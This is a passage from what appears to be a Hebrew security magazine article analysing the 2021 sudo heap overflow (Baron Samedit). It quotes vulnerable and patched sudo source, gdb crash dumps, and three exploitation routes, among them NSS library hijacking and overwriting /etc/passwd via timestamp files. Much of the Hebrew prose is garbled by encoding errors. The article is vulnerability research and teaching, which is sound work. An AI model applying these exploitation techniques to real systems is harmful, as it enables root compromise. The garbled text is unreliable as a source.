588      for  ( src = * av ;  * src !=  ' \ 0' ;  src ++)  {  

589        /* quote potential meta characters */  

590        if  (! isalnum (( unsigned  char )* src )  && * src !=  '_'  

                                            && * src !=  ' - '   

                                            && * src !=  '$' )  

591          * dst ++ = ' \ \ ' ;  

592          * dst ++ = * src ;  

593        }  

594        * dst ++ = ' ' ;  

595      }  

...   

600    ac += 2;  /* - c cmnd */  

...   

603    av = reallocarray ( NULL,  ac + 1,  sizeof ( char  *));  

...   

609    av [ 0]  = ( char  *) user_details . shell ;  /* plugin may override shell */  

610    if  ( cmnd !=  NULL)  {  

611      av [ 1]  = " - c" ;  

612      av [ 2]  = cmnd;  

613    }  

614    av [ ac ]  = NULL;  

615   

616    argv = av ;  

617    argc = ac ;  

618  }  
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  ˢ˧˴˵ˮˣ˲˟ ˭˩ˬ ˶˥˞˪set_cmnd    ˣ˶˟˰ˣˢ˷ ˫˧˶˦ˬ˶˲ˢ ˸˞ ˳˟˵ˬ ˶ˬˣ˪˩ ˣˤˢ ˢ˪ˣ˰˲ˢ ˸˞ ˨˲ˣˢ˷ ˵˪˥ ˷˧

 ˪  ˨ˣ˲˧ˢ ˢ˷ˣ˰ˣ ˢˡˣ˵˲˪-escaping  ˪  ˢ˞˴ˣ˸ˢ ˸˞ ˵˧˸˰ˬˣ-buffer  s  ˪˰-heap : 

819  if  ( sudo_mode & ( MODE_RUN |  MODE_EDIT |  MODE_CHECK))  {  

...     

852    for  ( size = 0,  av = NewArgv + 1;  * av ;  av ++)  

853      size += strlen (* av )  + 1;  

854    if  ( size == 0 ||  ( user_args = malloc ( size ))  == NULL)  {  

...     

857    }  

858    if  ( ISSET( sudo_mode ,  MODE_SHELL| MODE_LOGIN_SHELL))  {  

...     

864      for  ( to = user_args ,  av = NewArgv + 1;  ( from = * av );  av ++)  {  

865        while  (* from )  {  

866          if  ( from [ 0]  == ' \ \ '  && ! isspace (( unsigned  char ) from [ 1]))  

867            from ++;  

868          * to ++ = * from ++;  

869        }  

870        * to ++ = ' ' ;  

871      }  

...     

884    }  

...     

886  }  

  ˟˪ ˫˧˷ˮ ,˭˧˧ˮ˰ˬ ˣˢ˷ˬ˪  ˟  ˶ˬˠˮ ˫˧˶˦ˬ˶˲ˢ ˡ˥˞ˣ ˢˡ˧ˬ˟-backslash  ˢ ˪˪ˠ˟ ˢ˶˵˧˷ ˢˬ ˡ˧˥˧-escaping  

 ˷  ˞ˣˢ ˫ˡˣ˵ ˢ˶˵˷-from[0]   ˞ˣˢbackslash  ˢ ˣ˧˶˥˞ ˡ˧ˬˣ-NULL terminator . 

  ˟˴ˬ ˢ˶˵˧˷ ˢˬˢ˪ ˶˦ˮ˧ˣ˲ˢ ˫ˡˣ˵˧˷ ˞ˣˢ ˢˤ-argv  ˢ ˶˥˞˪ ˫ˡˣ˵ˢ-backslash  ˢ ˫ˣ˵˧ˬ˪ ˶ˬˣ˪˩-NULL 

Terminator   ˪  ˵˸˰ˣ˧ ˫˷ˬˣ-buffer  ˢ ˪˰-heap   s  ˸˞˪ˣ˪˟ ˢ˵˸˰ˢˢ ˨˷ˬ˧˸ˣ-while    ˸˰ˠˢ˪ ˡ˰0    ˣ˞

NULL ˢ ˪˷ ˢ˯˧˶ˡ ˢ˲ ˷˧ ˶ˬˣ˪˩-buffer  ˫ ˡˣ˵ ˣ˪ ˢ˴˵ˣˢ˷ ˪ˡˣˠ˪ ˶˟˰ˬ   ˸ˣ˶ˣ˷)852-854 ( 

 

 ?ˢ˪˧˴ˮ ˞˧ˢ ˫˞ˢ ˨˞ ,ˢ˷˪ˣ˥ˢ ˢ˞˴ˬˮ ˭˧ˣ˴ˬ 

  ˧˪˩ ˣˮ˧˩ˢ ˫˧˶˵ˣ˥ˢ ˢ˪˧˴ˮ ˢ˷˪ˣ˥ˢ ˫˞ˢ ˵ˣˡ˟˪ ˧ˡ˩bruteforce    ˸˞ ˪˧˰˲ˬ ˶˷˞sudo    ˫˰gdb    ˵˲˯ˬˣ

 ,ˢ˯˧˶ˡˢ ˪ˡˣˠ,ˢ˟˧˟˯ ˧ˮ˸˷ˬ ˪˷ ˸ˣˮˣ˷ ˸ˣ˧˴˦ˣˬ˶˲   ˣ˞˴ˬ ˫ˢ .˫˧˶˦ˬ˶˲ ˶˲˯ˬ ˡˣ˰ˣ ˢ˯˧˶ˡˢ ˭˩ˣ˸3  

ˢ˟ ˷˧ˬ˷ˢ˪ ˶˷˲˞˷ ˸ˣˮ˧˧ˮ˰ˬ ˸ˣ˧ˣ˵˯˶˸ˢ˪ ˣˬ˶ˠ˷ ˸ˣ˯˧˶ˡ ˭ˢ˷˪ˣ˥ˢ ˸˞ . 

˪˞ ˫˧˩˶ˡ ˶ˣ˵˯ˮ ˞˟ˢ ˵˪˥˟ .ˣ 
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 ˶˲˯ˬ ˪ˣ˴˧ˮ1˧˶˞ˮ˧˟ ˧ˡ˧ ˪˰ ˡˣ˵ ˸˴˶ˢ : 

 :˟ ˸˧˶ˣ˵ ˣˮ˪˷ ˢˮˣ˷˞˶ˢ ˢ˯˧˶ˡˢ 

Program received signal SIGSEGV ,  Segmentation fault .  

0x000056291a25d502  in process_hooks_getenv 

( name=name@... ry =0x7f4a6d7dc046  "SYSTEMD_BYPASS_USERDB",  

value =value@ ... ry =0x7ffc595cc240 )  at ../../ src / hooks . c: 108  

 

=> 0x56291a25d502  <process_hooks_getenv +82>:     callq  * 0x8 (%rbx )  

 

rbx              0x56291c1df2b0       94734565372592  

0x56291c1df2b0 :  0x4141414141414141   0x4141414141414141  

----------------------------------------------------------------  

ˡˣ˵˟ ˪˩˸˯ˮ ˫˞ : 

------------------------------------------------------------------------  

 99 int  

100  process_hooks_getenv ( const  char  * name,  char  ** value )  

101  {  

102      struct  sudo_hook_entry * hook ;  

103      char  * val = NULL;  

...  

107      SLIST_FOREACH( hook ,  &sudo_hook_getenv_list ,  entries )  {  

108          rc = hook - >u. getenv_fn ( name,  &val ,  hook - >closure );  

------------------------------------------------------------------------  

 x ˶ˡ˪ ˣˮ˥˪˴ˢ˷ ˢ˞˶ˮ ˯   ˢ˧˴˵ˮˣ˲˪ ˶˦ˮ˧ˣ˲ˢ ˸˞getenv_fn    ˪˷ ˢˡ˷ ˞ˣˢ˷sudo_hook_entry  .  ˟˪ ˫˧˷ˮ

 ˪  ˢ˞˧˶˵˪ ˢˬˣˡ ˫˧˶˦ˬ˶˲ˢ ˶˲˯ˬˣ ˢ˞˧˶˵ˢ ˢˮ˟ˬ˷-execv   ˧ ˶˞ˮ˧˟ ˳˧˶ˢ˪ ˣˮ˪ ˶˷˲˞˧ ˶˷˞ ˣˮ˪˷ˬ  ! 

 ˸ ˮˬ ˪˰  ˪˲˯˵˞ˢ˷ ˯ ˧˟ˢ˪ ˨˶˦˴ˮ ˪˧˴ˮ ˢ˧ˢ˧ ˦˧ˣ  ˢ ˸˞-ASLR    ˢ˩˩ ˶˦ˮ˧ˣ˲ˢ ˪˷ ˧˵˪˥ ˟ˣ˸˩˷ ˧ˡ˧ ˪˰

 ˪  ˢˮ˸˷˧ ˦˯˧ˢˢ ˨˞ ˢˢˤ ˶˞˷˧˸ ˯˧˯˟ ˸˟ˣ˸˩ˢ˷-execv . 

 ˸˞ ˯˧˟ˢ˪ ˧ˡ˩ ˨˶˦˴ˮ˷ ˸ˣˮˣ˧˯˧ˮˢ ˶˲˯ˬASLR   :˞ˣˢ 

2^(3*8-12)=2^12=4096 

  ˞ˣˢ ˫˧˯˶ˣˡ ˣˮ˥ˮ˞˷ ˦˯˧ˢˢ˷ ˭ˣˣ˧˩3    ˸ˣ˥˲ ˫˧˸˟12   ˷  ˭ˣˣ˧˩-12    ˧ˡ˩ ˣˮ˸˷˧ ˞˪ ˫˧ˮˣ˸˥˸ˢ ˫˧˸˟ˢ

˭ˣ˶˩˧ˤ˟ ˱ˡ ˪˷ ˪ˡˣˠ˪ ˶˷ˣ˧ˬ ˢ˧ˢ˧ ˣ˪ˣ˩ ˧˶˞ˮ˧˟ˢ˷   ˟ )-x86_64   ˢˤ4096  (˫˧˸˟ 
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 ˶˲˯ˬ ˪ˣ˴˧ˮ2 s ˧˧˶˲˧˯ ˸ˮ˧˰˦ ˧ˡ˧ ˪˰ ˡˣ˵ ˸˴˶ˢ : 

 :˞˟ˢ ˵˪˥˟ ˸˧˶ˣ˵ ˣˮ˪˷ ˢ˧˧ˮ˷ˢ ˢ˯˧˶ˡˢ 

------------------------------------------------------------------------  

Program received signal SIGSEGV ,  Segmentation fault .  

 

0x00007f6bf9c294ee  in nss_load_library ( ni =ni@... ry =0x55cf1a1dd040 )  at 

nsswitch . c: 344  

 

=> 0x7f6bf9c294ee  <nss_load_library +46>:         cmpq   $0x0 , 0x8 (%rbx )  

 

rbx            0x41414141414141     18367622009667905  

------------------------------------------------------------------------  

˧˦ˮˣˣ˪˶ˢ ˡˣ˵ ˵˪˥ˢ ˪˰ ˪˩˸˯ˮ ˫˞ : 

------------------------------------------------------------------------  

327  static  int  

328  nss_load_library ( service_user * ni )  

329  {  

330    if  ( ni - >library == NULL)  

331      {  

...  

338        ni - >library = nss_new_service ( service_table ?:  &default_table ,  

339                                       ni - >name);  

...  

342      }  

343  

344    if  ( ni - >library - >lib_handle == NULL)  

345      {  

346        /* Load the shared library.  */  

347        size_t shlen = ( 7 + strlen ( ni - >name)  + 3 

348                        + strlen ( __nss_shlib_revision )  + 1);  

349        int  saved_errno = errno ;  

350        char  shlib_name [ shlen ];  

351  

352        /* Construct shared object name.  */  

353        __stpcpy ( __stpcpy ( __stpcpy ( __stpcpy ( shlib_name ,  

354                                                "libnss_" ),  

355                                                ni - >name),  

356                                                ".so" ),  

357                                                __nss_shlib_revision );  

358  

359       ni - >library - >lib_handle = __libc_dlopen ( shlib_name );  

------------------------------------------------------------------------  

 

  ˶˦ˮ˧ˣ˲ˢ ˸˞ ˣˮ˯˶ˡ˷ ˟˪ ˫˧˷ˮlib_handle  ˪ ˢ˞˧˶˵ ˧ˡ˧ ˪˰ ˢ˧˧˶˲˧˯ ˸ˮ˧˰˦˪ ˷ˬˣ˷ˬ ˭˩ˬ ˶˥˞˪ ˶˞-

libc_dlopen ,    ˸˞ ˯ˣ˶ˡ˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞ ˪˧˴ˮ ˢ˧ˢ˧ ˢˤˢ ˡˣ˵ˢ ˰˦˵˷ ˧ˡ˩ni->library  ˫˰NULL,   ˸˞ ˯ˣ˶ˡ˪

ni->name    ˸˧ˮ˟˸ˢ ˫˰ ˫˷˟ ˢ˧˧˶˲˧˯ ˶ˣ˴˧˪ˣ ˣˢ˷˪˩ ˫˷ ˫˰libnss_x.so.2  ˷ ˨˩-x   ˟  ˣˮ˯˶ˡ˷ ˫˷ˢ ˢˤ-  

ni->name . 
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 ˶˲˯ˬ ˪ˣ˴˧ˮ3ˢ : ˸ ˣ˞˷˶ˢ ˸ˬ˪˯ 

ˢ ˨˪ˢˬ˟˷ ˢˮ˥˟ˢˢˬ ˞˪˞ ˢ˯˧˶˵ˬ ˢ˶ˣ˵ ˞˪ ˞˵ˣˣˡ ˢˤˢ ˪ˣ˴˧ˮˢ-bruteforce    ˸˞ ˯ˣ˶ˡ˪ ˫˧˥˧˪˴ˬ ˣˮ˞

def_timestampdir    ˳˟ˣ˵ ˢ˟ˣ ˣˮ˪˷ ˢ˯˧˶ˡˢ ˭˩ˣ˸ ˫˰ ˢ˧˧˵˧˸ ˸˶˴ˣˮ˷ ˨˩timestamp    ˷ˬ˸˷ˬˢ ˫˷˟

 .˪ˣ˴˧ˮˢ ˸˞ ˳˧˶ˢ˷ 

˶˴ˣˮ˷ ˳˟ˣ˵ˢ ˪˷ ˫˷ˢ˷ ˨˶˦˴ˮ ˫˰˲ˢ ˢ˷˪ˣ˥ˢ ˸˞ ˷˧ˬ˷ˢ˪ ˧ˡ˩    ˳˟ˣ˵˪ ˶˷ˣ˵˧ (˷ˬ˸˷ˬ ˫˷ˢ ˞ˣˢ˷)

,˟ˣ˸˩˪ ˢ˴˶ˮ˷    ˸ˣ˷˰˪ ˢ˯ˮˮ ˶ˬˣ˪˩symlink    ˳˟ˣ˵ˢ ˪˷ ˸˶˧˴˧ˢ ˫˰ ˢ˶˥˸ˮˣ ˯ˣ˶ˡ˪ ˢ˴˶ˮ˷ ˳˟ˣ˵˪

timestamp.   ˢ˧˴˵ˮˣ˲ˢ˷ ˟˪ ˫˧˷ˮ ˨˞timestamp_open  ˢ ˸˞ ˸˵˥ˣˬ-symlink  ˢ ˫˞ ˣˮ˪˷-timestamp  

˧˴˵ˮˣ˲ˢ˷ ˡ˰ ˢ˩˥ˮ ˢˮ˷˧ ˢˬ˧˸˥ ˶ˣ˴˧ˮ ˭˩˪ ˧˥˩ˣˮˢ ˭ˬˤˢˬ ˶˸ˣ˧ ˭˷˧  ˧ˡ˧ ˪˰ ˢ˟ ˢ˶˥˸ˮˣ ˢ˸ˣ˞ ˵ˣ˥ˬ˸ ˢ

.˟ˣ˷ ˢ˪˷ ˢ˶˧˴˧  s  ˸˞ ˥˴ˮ˪ ˥˧˪˴ˮ ˫˞-race conditions  .˳˟ˣ˵ˢ ˸˞ ˯ˣ˶ˡ˪ ˪˩ˣˮ ˢ˪˞ˢ    ˢ˴˶ˮ ˭˩ ˣˬ˩

 ˟  ˶˥˞ ˠ˞˟˟ ˷ˬ˸˷ˮ ˨˩ ˫˷˪ ,˟˸˩˧˷ ˫˧˴ˣ˶ ˣˮ˥ˮ˞˷ ˭˩ˣ˸˟ ˦ˣ˪˷˪-timestamp_lock  .  ˪˰ ˪˩˸˯ˮ

  ˢ˧˴˵ˮˣ˲ˢtimestamp_lock : 

------------------------------------------------------------------------  

619  bool  

620  timestamp_lock ( void  * vcookie ,  struct  passwd * pw)  

621  {  

622    struct  ts_cookie * cookie = vcookie ;  

623    struct  timestamp_entry entry ;  

...  

644    nread = read ( cookie - >fd ,  &entry ,  sizeof ( entry ));  

645    if  ( nread == 0)  {  

...  

652    }  else  if  ( entry . type !=  TS_LOCKEXCL)  {  

...  

657      if  ( ts_write ( cookie - >fd ,  cookie - >fname ,  &entry ,  0)  == - 1)  

------------------------------------------------------------------------  

ˢ ˸˶ˡˠˢ-struct timestamp_entry : 

------------------------------------------------------------------------  

65 struct  timestamp_entry {  

66     unsigned  short  version ;      /* version number */  

67     unsigned  short  size ;         /* entry size */  

68     unsigned  short  type ;         /* TS_GLOBAL, TS_TTY, TS_PPID */  

..  

78 };  

------------------------------------------------------------------------  

  ˢ˶ˣ˷˟644    ˫˧˞˶˵ˮ38    ˨˶˰˟ ˞˪ ˞ˣˢ ˧ˮ˷ˢ ˢˡ˷ˢˣ ˢˡ˧ˬ˟,ˣ˧˪˞ ˣˮ˧ˮ˲ˢ˷ ˳˟ˣ˵ˢˬ ˫˧ˮˣ˷˞˶ ˫˧˸˟

TS_LOCKEXCL  .ˣˮ˶˷˧˵ ˣ˧˪˞ ˳˟ˣ˵ˢ ˪˷ ˪ˡˣˠ˟ ˣ˧˪˰ ˫˧˦˪ˣ˷ ˣˮ˥ˮ˞˷ ˢˮ˟ˬˢ ˟˸˩ˮ ˤ˞   ˸˞ ˞ˬˠˣˡ˪ ˥˵˧ˮ ˫˞

passwd  ˢ˶ˣ˷ˢ ˫˰ : 

root : x: 0: 0:..  

  ˢ˧ˢ˧ ˪ˡˣˠˢ0x746f  ˪ ˸˧ˮ˯˥ˬˢ ˪˩ ˸˞ ˟ˣ˸˩ˮ ˢ˷˰ˬ˪ˣ-/etc/passwd    ˧ˮ˸˷ˬˣ ˣˮ˶˟˰ˢ˷ ˫˧˶˦ˬ˶˲ˢ ˪˪ˣ˩

  ˯ˣ˶ˡ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˟ˣ˸˩˪ ˫˧˴ˣ˶ ˣˮ˞ ˣ˸ˣ˞˷ ˭˩ˣ˸ˢ ˪˷ ˢ˟˧˟˯ˢ ˧ˮ˸˷ˬ˟ ˢ˶˟˰ˢ ˧ˡ˧ ˪˰ ˶ˬˣ˪˩ ˢ˟˧˟˯ˢ

 ˸ ˣ˞˷˶ˢ ˸ˬ˪˯ˢ ˪˟˵˪ˣ ˳˟ˣ˵ˢ ˸˞ . 
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 ˭ ˣ˵˧˸ˢ 

 ˞ ˣˢ ˢ˷˪ˣ˥˪ ˭ˣ˵˧˸ˢ  ˧ˣˮ˧˷ s :˞˟ˢ ˡˣ˵ 

if  ( from [ 0]  == ' \ \ '  && ! isspace (( unsigned  char ) from [ 1]))  

  if  ( from [ 0]  == ' \ \ '  && from [ 1]  !=  ' \ 0'  && 

    ! isspace (( unsigned  char ) from [ 1]))  {  

      from ++;  

  }  

  if  ( size -  ( to -  user_args )  < 1)  {  

      sudo_warnx ( U_( "internal error, %s overflow" ),  

    __func__ );  

      debug_return_int ( NOT_FOUND_ERROR);  

  }  

  * to ++ = * from ++;  

  }  

  if  ( size -  ( to -  user_args )  < 1)  {  

  sudo_warnx ( U_( "internal error, %s overflow" ),  

      __func__ );  

  debug_return_int ( NOT_FOUND_ERROR);  

  }  

˶ˬˣ˪˩  ,  ˶˥˞˪ ˣ˸ˢ˷ ˢ˵˧ˡ˟ˢ ˢ˲˯ˣˮ ˫ˠ ˣ˧˷˩˰ \    ˞˪ ˞ˣˢNULL TERMINATOR    ˪˷ ˪ˡˣˠ ˸˵˧ˡ˟ ˢ˲˯ˣˮ ˫ˠˣ

-sargv  .˧˶ˣ˵ˬˢ ˪ˡˣˠˢ ˪ˣˬ ˭˩ˡˣ˰ˬˢ 

 
 ˫ ˣ˩˧˯ 

  ˸ˣ˯˯ˣ˟ˬˢ ˸ˣ˩˶˰ˬ ˟ˣ˶˷ ˞˧ˢ ˢˤ ˢ˷˪ˣ˥˟ ˡˣ˥˧˧ˢUNIX    ˭ˣˠˮˬ˟ ˸ˣ˷ˬ˸˷ˬ ˸ˣ˴ˣ˲ˮˢsudo    ˣˬ˩ ˭˩˪

  ˸˞ ˫˧˪˯ˢ˪ ˧ˡ˩ ˭ˬˤˢˬ ˵˪˥˩ ˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ˟ ˳˶ ˢ˷˰ˬ˪˷ ˢˤˢ ˧˶˞ˮ˧˟˟ ˸˥˞ ˢ˷˪ˣ˥ ˵˧˲˯ˬ ˣˮ˧˞˶˷

˳ˣ˲ˮ ˡˣ˞ˬ ˧˶˞ˮ˧˟ˢ ˪˷ ˣ˸ˣ˧ˢ ˪˪ˠ˟ ˫˴˰˸ˢ ˢ˷˪ˣ˥ˢ ˪˷ ˦˵˲ˬ˧˞ˢ ,ˡˣ˵ ˳˧˶ˢ˪ˣ ˱˵ˣ˸ˢ ˪˷ ˸ˣ˞˷˶ˢˢ . 

 

 ˟ ˸ˣ˩ˢ ˪˰ 

 ,˧˲˯˩ ˶ˬˣ˰    ˶˵ˣ˥embedded  ˪ ˶ˣ˷˵˷ ˢˬ ˪˩˟ ˵˯˰˸ˢ˪ ˟ˢˣ˞ ˶˷˞-Low Level ,  Embedded  ,  ˶˟˧˧˯

˫ˢ˧ˮ˧˟˷ ˢˬˣ . 

 

ˢ˞˧˶˵ ˨˷ˬˢ˪ ˫˧˶ˣ˷˧˵ 

https://packetstormsecurity.com/files/161230/Sudo-Buffer-Overflow-Privilege-Escalation.html 

https://www.openwall.com/lists/oss-security/2021/01/26/3 

http://www.digitalwhisper.co.il/
https://packetstormsecurity.com/files/161230/Sudo-Buffer-Overflow-Privilege-Escalation.html
https://www.openwall.com/lists/oss-security/2021/01/26/3


 
 

{ǘŀōƭŜ wƛǘŜ ƻŦ tŀǎǎŀƎŜ 
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  по 
 

{ǘŀōƭŜ wƛǘŜ ƻŦ tŀǎǎŀƎŜ 

˸˞ˬ  ˟ ˧ˮ˧ ˪ˠ 

 

 s ˬˡ˵ˢ 

  ˫˰ ˶˸ˣ˧ˣ ˶˸ˣ˧ ˸ˣˬ˩˥ˣ˸ˬ ˸ˣ˧ˢˮˣ ˸ˣ˩˪ˣˢ ˵˶ ˣ˪˞ˣ ˡˣ˵ ˸˵˶ˤˢ ˰ˣ˴˧˟˪ ˸ˣ˟˶ ˸ˣ˦˧˷ ˭ˮ˷˧ ˫ ˧ˮ˷ˢ.    ,˶˟˰˟

  ˢˮˠˢˢ ˸ˣ˩˶˰ˬ˟ ˧˸ˣ˰ˬ˷ˬˢ ˶ˣ˲˧˷ˢ ˸ˣ˟˵˰˟ ˨˞ ,˸˧˯˥˧ ˢ˦ˣ˷˲ ˢ˶ˣ˴˟ ˰˴˟˸ˢ˪ ˢ˪˩˧ ˡˣ˵ ˸˵˶ˤˢ

) ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˟ ˫˧˷ˡ˥ ˢˮˠˢ ˧ˮˣˮˠˮˬ ˥ˣ˸˧˲˟ ˫˞ ˭˧˟ ,˸ˣˮˣ˷ˢ²ƛƴŘƻǿǎ мл  ˸ˣˬˡ˵˸ˢ˟ ˫˞ ˭˧˟ˣ (

 ˫ ˧˶˵ˣ˥ ,˨˩ˬ ˢ˞˴ˣ˸˩ .ˡˣ˰ ˦ˣ˷˲ ˶˟ˡˢ ˭˧˞ ˢ˴˵ˢ ˸ˮˠˢ ˸ˣ˩˶˰ˬ˟ ˸˧˸ˣ˰ˬ˷ˬˢκ˴˪˞ˮ ˫˧˶˵˞ˢ  ˰˴˟˪ ˫˧

˭˸ˣ˞ ˸˞ ˱ˣ˵˰˪ ˨˶ˡˢ ˸˞ ˞ˣ˴ˬ˪ ˣ˸˶˦ˬ ˶˷˞ ˞˷ˣˮ˟ ˵˧ˬ˰ˬ ˶˵˥ˬ    ˸ˣ˷ˡ˥ ˸ˣ˦˧˷ ˥˸˲˪ˣ ˸ˣˮˠˢ

 ˫ ˧˶˵ˣ˥ ˢ˥ˮˬ ˶˷˞ ˢ˪˞˷ˢ ,˸ˣ˦˧˷ ˭˸ˣ˞ ˪˷ ˸ˡˬ˸ˬˢ ˸ˣ˥˸˲˸ˢ˪ ˡˣˠ˧ˮ˟ .ˡˣ˵ ˸˵˶ˤˢ˪κ  ˫˧˶˵˞ˢ

 :ˢˬˣˡ ˢ˶˞˷ˮ ˢˤ ˠˣ˯ˬ ˢ˲˵˸ˬ ˷ˣˬ˧ˬ˟ 

ˣˮˠˮˬ˷ ˧˪˟ˬ ˵˥ˣ˶ˬ ˨˧˪ˢ˸˟ ˧ˮˣˡˤ ˡˣ˵ ˳˧˶ˢ˪ˣ ˟ˣ˸˩˪ ˭˸˧ˮ ˡ˴˧˩  ˸ˮˠˢ ˸ˣ˩˶˰ˬ ˣ˞ ˫˧ˮˣ˷ˢ ˢˮˠˢˢ ˧ˮ

 s ˪ˣ˰˲ˢ ˰ˣ˴˧˟˟ ˭˧˥˟˧ ˢ˴˵ˢ ˷ˬ˸˷ˬ˷ ˧˪˟ˬ ˭˩ˣ ˣˮ˸ˣ˞ ˣ˶˴˰˧ ˢ˴˵ˢΚ   

˰ˣ˴˧˟ ˨˞ ˢ˦ˣ˷˲ ˢ˪˞˷ s    ˢˤ ˶ˬ˞ˬ˟ .(˨˷ˬˢ˟ ˶˧˟˯˞) ˶ˠ˸˞ˬ ˶˸ˣ˧ ˢ˟˶ˢ ˫˧ˮ˷ ˢˬ˩ ˡˣ˰˟ˣ ˶ˠ˸˞ˬ

 ˪ ˷ ˶˥˞ ˦˵˲˯˞ ˫˰ ˡˡˣˬ˸˧ ˫ˢˬ ˡ˥˞ ˪˩ ˶˷˞˩ ˫˧˟˪˷ ˢ˰˟˶˞˪ ˢ˪˞˷ˢ ˸˞ ˵˶˲ˮ s . ˭ ˣ˷˞˶ˢ ˟˪˷˟  

˪˥ˮ  .˵˥ˣ˶ˬˢ ˨˧˪ˢ˸˟ ˣˮ˪˷ ˡˣ˵ˢ ˸˞ ˳˧˶ˮˣ ˵˧˶ˤˮ ˢ˟ ˨˶ˡˢ ˪˰ ˦˧ ˧ ˮ˷ˢ ˟˪˷˟    ˢˮˠˢˢ ˧ˮˣˮˠˮˬ ˪˰ ˡˬ˪ˮ

  ˪˷ ˫˧ˮˣ˷ˢ²ƛƴŘƻǿǎ мл    .˫˸ˣ˞ ˱ˣ˵˰˪ ˫˧˩˶ˡˢ ˪˰ˣ (ˢˤ ˶ˬ˞ˬ˪ ˫˧˧˦ˮˣˣ˪˶ˢ) ˧ ˷˧˪˷ˢ ˟˪˷˟    ˢ˦˧˷ ˠ˧˴˞

ˣ ,ˢ˴˵ˢ ˸ˮˠˢ ˧˶˴ˣˬ ˪˷ ˫˧˵ˣˢˬ ˸ˣ˵ˬ˥˸ˢ˪ ˢ˷ˡ˥  ˧˰˧˟˶ˢ ˟˪˷˟  ˨˩˪ ˠ˞ˡ˸ ˶˷˞ ˸˲˯ˣˮ ˢ˦˧˷ ˠ˧˴˞

  ˢ˞˪ˬ ˢˮ˩ˣ˸ ˣˮ˸ˣ˷˶˪ ˡˣˬ˰˸ ˫˧˟˪˷ˢ ˪˪˩ ˰ˣ˴˧˟ ˫ˣ˸˟ .ˣˮ˪˷ ˡˣ˵ˢ ˸˴˶ˢ˟ ˭˧˥˟˧ ˞˪ ˢ˴˵ˢ ˷ˬ˸˷ˬ˷

  ˯ˮ˩˟ ˢˮ˷ ˧˴˥˩ ˧ˮ˲˪ ˶˧˞˧ ˶ˬˣ˰ ˧"˰ ˣˠ˴ˣˢ ˭ˢ˧˪˰ ˶ˣ˟˰ˮ˷ ˸ˣ˦˧˷ˢ .ˡˣ˵ ˸˵˶ˤˢ˪ ˸ˡ˰ˣ˧ˬ ˶˷˞ ˢ˟˧˴˧ˣ

.{ƛŘŜǎ¢[± ,ˢ˞˴˶ˢ˪ ˶ˣ˷˧˵ ˱˧˯ˣ˞ ˶ˬ˞ˬˢ ˱ˣ˯˟ . ˢ˟ ˢ˧˧˲˴ˢˬ ˪ ˬˣ˸˴  !˶˸ˣ˧˟ 

 

  ˶˧˩ˬ ˞˶ˣ˵ˢ ˧˩ ˢ˥ˮˢ ˸ˡˣ˵ˮˬ ˞˴ˣ˧ ˧ˮ˞˷ ˭˧˧˴˞/κ/++  -x²ƛƴŘƻǿǎ LƴǘŜǊƴŀƭǎ    ˶˧˩ˢ˪ ˟ˣ˷˥ .ˢ˟ˣ˦ ˢˬ˶˟

 .˟˶ˬˢ ˸˞ ˢˤ ˶ˬ˞ˬˬ ˵˧˲ˢ˪ ˧ˡ˩˟ ˣ˪˪ˢ ˫˧˞˷ˣˮˢ ˸˞ 

 

 !˨˶ˡ˪ ˣˮ˞˴˧ ,ˢ˪˪˞˧ 

 

  

http://www.digitalwhisper.co.il/


 
 

{ǘŀōƭŜ wƛǘŜ ƻŦ tŀǎǎŀƎŜ 
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  пп 
 

 ˭ ˣ˷˞˶ˢ ˟˪˷ˢ 
 

  ˶˷˞ ˢˮ˩ˣ˸˟ .ˣˮ˪˷ ˡˣ˵ˢ ˸˞ ˳˧˶ˢ˪ˣ ˵˧˶ˤˢ˪ ˢ˴˶ˮ ˢ˟ ˢ˦˧˷ˢ ˪˰ ˦˧˪˥ˢ˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞ ˭ˣ˷˞˶ˢ ˟˪˷˟

  ˢˮ˟ˮ ˣˮ˥ˮ˞ ˶ˬ˞ˬ˟ ˠ˴ˣ˸wht /Ƙŀƛƴ    ˸˧˧˶˲˯ˬ ˡˣ˵ ˧˵˪˥ˬ ˟˩˶ˣ˧ ˶˷˞ƴǘŘƭƭ.Řƭƭ    ˪˷ ˢ˵˧ˮ˩˦˟ ˷ˬ˸˷ˮˣ

¢ƘǊŜŀŘ IƛƧŀŎƪƛƴƎ ˢ ˪˧˩˧ ˢˬ ˪˰ ˶˟ˡˮ ˫˧˞˟ˢ ˫˧˟˪˷˟ .ˣ˴˧˶ˢ˪ ˪˧˟˷˟-whtˮ˥ˮ˞ ˰ˠ˶˩ ˪˟˞ ,  ˫˧˶˥ˣ˟ ˵˶ ˣ

 :˟˩˶ˣ˸ ˣˮ˪˷ ˢˮ˩ˣ˸ˢ ˫ˢˬ ˫˧ˮˣ˷ˢ ˫˧˵˪˥ˢ ˪˰ ˪˩˸˯ˮ ˣ˞ˣ˟ .˸˧˪˪˩ˢ ˢ˦˧˷ˢ ˸˞ 

1.  s  ˸˞ ˶˸˞˪˟ ˪˧˥˸ˮ ˣˮ˥ˮ˞-Thread  :˵˶ˤˣˬˢ ˨˧˪ˢ˸˟ ˦˪˸˷ˮ ˣ˧˪˰  

 

 нˢ ˸˞ ˶ˣ˴˰ˮ ˭˩ˬ ˶˥˞˪ .-Thread ˢ ˸˞ ˶ˣˬ˷ˮˣ ˣˮ˶˥˟˷-Context   :ˣ˪˷ 

 

3.  ˶ˣ˴˧ˮSection   ˣ˧˪˞) ˨˧˪ˢ˸ˢ ˭ˣ˶˩˧ˤ˪ ˣ˸ˣ˞ ˢ˲ˬˮˣˢ ˸˞ ˟ˣ˸˩ˮ-payload   :(ˣˮ˪˷  

 

4.  ˶ˣ˴˧ˮHANDLE ˪ ˱˯ˣˮ-Section  :˵˶ˤˣˬˢ ˨˧˪ˢ˸˪ ˣ˸ˣ˞ ˶˧˟˰ˮˣ ˣˮ˧˲˧ˬ˷ 

http://www.digitalwhisper.co.il/


 
 

{ǘŀōƭŜ wƛǘŜ ƻŦ tŀǎǎŀƎŜ 
